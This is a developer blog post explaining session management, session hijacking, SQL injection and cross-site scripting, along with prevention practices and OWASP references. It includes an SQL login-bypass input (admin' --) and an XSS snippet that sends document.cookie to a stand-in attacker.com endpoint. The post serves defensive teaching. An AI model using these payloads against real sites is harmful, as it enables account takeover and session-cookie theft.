Published on

Sessions & Cookies: Safeguarding Web Applications from Common Vulnerabilities


As developers, it is our responsibility to ensure that our applications provide a secure and trustworthy environment for our users. One critical aspect of web application security is properly managing user sessions and protecting them from potential threats. In this blog post, we'll discuss some common security vulnerabilities including session hijacking, cross-site scripting (XSS) and SQL injection—and explore best practices for mitigating these risks.

First things first,

What is a Session?

A session can be thought of as an ongoing interaction between a user's browser and a web application.

  • It allows the application to maintain state and remember user preferences or actions across multiple requests.
  • Typically, when a user logs in to an application (i.e. starts a new session), the server creates a session record in a database.
  • This record contains a unique session ID, user ID, and other relevant session data. The session ID is then sent back to the user's browser as a cookie.

Here's an example of what a simple session database table might look like:

Column NameData TypeDescription
session_idVARCHARUnique identifier for the session
user_idINTEGERID of the user associated with the session
session_dataTEXTSerialized session data (e.g., user preferences)
created_atTIMESTAMPTimestamp indicating when the session was created
expires_atTIMESTAMPTimestamp indicating when the session should expire
last_activityTIMESTAMPTimestamp of the last activity within the session

Session Hijacking

Session hijacking occurs when an attacker “steals” a valid session ID and uses it to impersonate an authenticated user.


  • By gaining unauthorised access to a user's session, the attacker can perform malicious activities, steal sensitive information, or make unauthorised changes.
  • To prevent session hijacking, consider the following measures:
    • Use secure communication protocols (HTTPS) to encrypt the transmission of session IDs.
    • Implement secure session management practices, such as generating random and unique session IDs, setting appropriate expiration times, and properly invalidating sessions upon logout.
    • Implement additional security mechanisms, such as secure cookies (with the "Secure" and "HttpOnly" flags), session timeout, and re-authentication for sensitive actions.
  • You can also make it harder for attackers to perform any destructive actions by implementing Two-factor Authentication (2FA). This adds an extra layer of security for sensitive actions by requiring a secondary authentication factor, like a code from a mobile app, in addition to a password.

SQL Injection

SQL injection is another prevalent security vulnerability that arises when user input is not properly validated or sanitized before being used in SQL queries. Attackers can inject malicious SQL statements into input fields, allowing them to manipulate database queries, bypass authentication, retrieve sensitive information, or even execute arbitrary SQL commands.

Here is an example to illustrate SQL injection:

  1. Vulnerable SQL query: Suppose a web application has a login form where users enter their username and password. The application constructs an SQL query to validate the credentials, like this:If the application directly concatenates user input into the SQL query without proper validation or sanitization, an attacker can exploit this vulnerability.

    SELECT * FROM users WHERE username = 'inputUsername' AND password = 'inputPassword';
  2. Attacker injects malicious SQL: Instead of entering a valid username and password, an attacker can input malicious SQL statements. For example:The resulting SQL query would look like this:The - in the injected input acts as a comment in SQL, effectively nullifying the password check.

    Username: admin' --
    Password: anypassword
    SELECT * FROM users WHERE username = 'admin'-- AND password = 'anypassword';
  3. SQL query execution: The application executes the maliciously modified SQL query. In this case, the query will search for a user with the username "admin" and ignore the password check due to the comment. If an "admin" user exists in the database, the attacker will gain unauthorized access without knowing the actual password.

To safeguard your application against SQL injection, follow these best practices:

  1. Use parameterized queries or prepared statements to separate the SQL structure from user input.
  2. Validate and sanitize user input before using it in SQL queries, checking for special characters and restricting input based on expected data types and formats.
  3. Apply the principle of least privilege to database accounts, using limited-privilege accounts for database access.
  4. Regularly update database software and follow database security best practices.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a security vulnerability that allows attackers to inject malicious JavaScript code into web applications. When users interact with the compromised application, the injected code executes in their browsers, potentially leading to the theft of sensitive information or unauthorized actions.

Here is a simple example to illustrate how XSS can be used to steal session IDs:

  1. Attacker injects malicious script: Suppose a web application has a comment section where users can post comments. If the application doesn't properly validate and sanitize user input, an attacker can post a comment containing malicious JavaScript code, such as:

      var xhr = new XMLHttpRequest();
      xhr.open('POST', 'http://attacker.com/steal', true);
      xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      xhr.send('sessionID=' + document.cookie);
  2. User loads the page: When other users load the page containing the malicious comment, the JavaScript code gets executed in their browsers.

  3. Malicious script steals session ID: The injected script creates an XMLHttpRequest object and sends an HTTP POST request to the attacker's server (http://attacker.com/steal in this example). The script includes the user's session ID (obtained from the document.cookie property) as part of the request data.

  4. Attacker receives the session ID: The attacker's server receives the POST request containing the stolen session ID. The attacker can now use this session ID to impersonate the user and perform unauthorized actions on their behalf.

How to Prevent XSS Vulnerabilities:

  1. Validate and sanitize user input before storing or displaying it, removing or encoding special characters and potentially malicious code.
  2. Encode user-generated content when displaying it to prevent it from being interpreted as executable code.
  3. Follow secure coding guidelines and best practices, using parameterized queries, avoiding untrusted data in dynamic code execution, and properly encoding data in the appropriate context.
  4. Utilise well-established security frameworks and libraries that provide built-in protection against XSS and other web application vulnerabilities.

Closing thoughts

Remember, building secure web applications is an ongoing process that requires continuous learning, staying updated with the latest security best practices, and regularly testing and auditing our applications for vulnerabilities. By taking proactive steps to secure our sessions and prevent common security pitfalls, we can create a safer online environment for our users and maintain their trust in our applications.

Learn more about Web Security

  1. OWASP (Open Web Application Security Project) - Session Management Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html OWASP provides a comprehensive guide on secure session management practices, including session ID generation, cookie security, and session expiration.
  2. OWASP - Cross-Site Scripting (XSS) Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html This cheat sheet offers detailed guidelines on preventing cross-site scripting (XSS) vulnerabilities, which can be used to steal session IDs.
  3. OWASP - SQL Injection Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html Learn about preventing SQL injection vulnerabilities, which can compromise the security of your application and database.
  4. NIST (National Institute of Standards and Technology) - Secure Coding Guidelines https://www.nist.gov/publications/secure-coding-guidelines NIST provides a set of secure coding guidelines and best practices to help developers build secure applications and mitigate common vulnerabilities.
  5. Mozilla Developer Network (MDN) - HTTP cookies https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies MDN offers a comprehensive guide on HTTP cookies, including their usage, security considerations, and best practices for managing them securely.
  6. SANS Institute - Securing Web Applications https://www.sans.org/curricula/securing-web-applications/ The SANS Institute provides training and resources on web application security, covering various topics like session management, input validation, and secure coding practices.
  7. Web Application Security Consortium (WASC) - Threat Classification http://projects.webappsec.org/w/page/13246978/Threat%20Classification The WASC Threat Classification provides a comprehensive list of web application security threats, including session hijacking and related vulnerabilities.
  8. CERT Secure Coding Standards https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards The CERT Secure Coding Standards offer language-specific guidelines and recommendations for secure coding practices to prevent common vulnerabilities.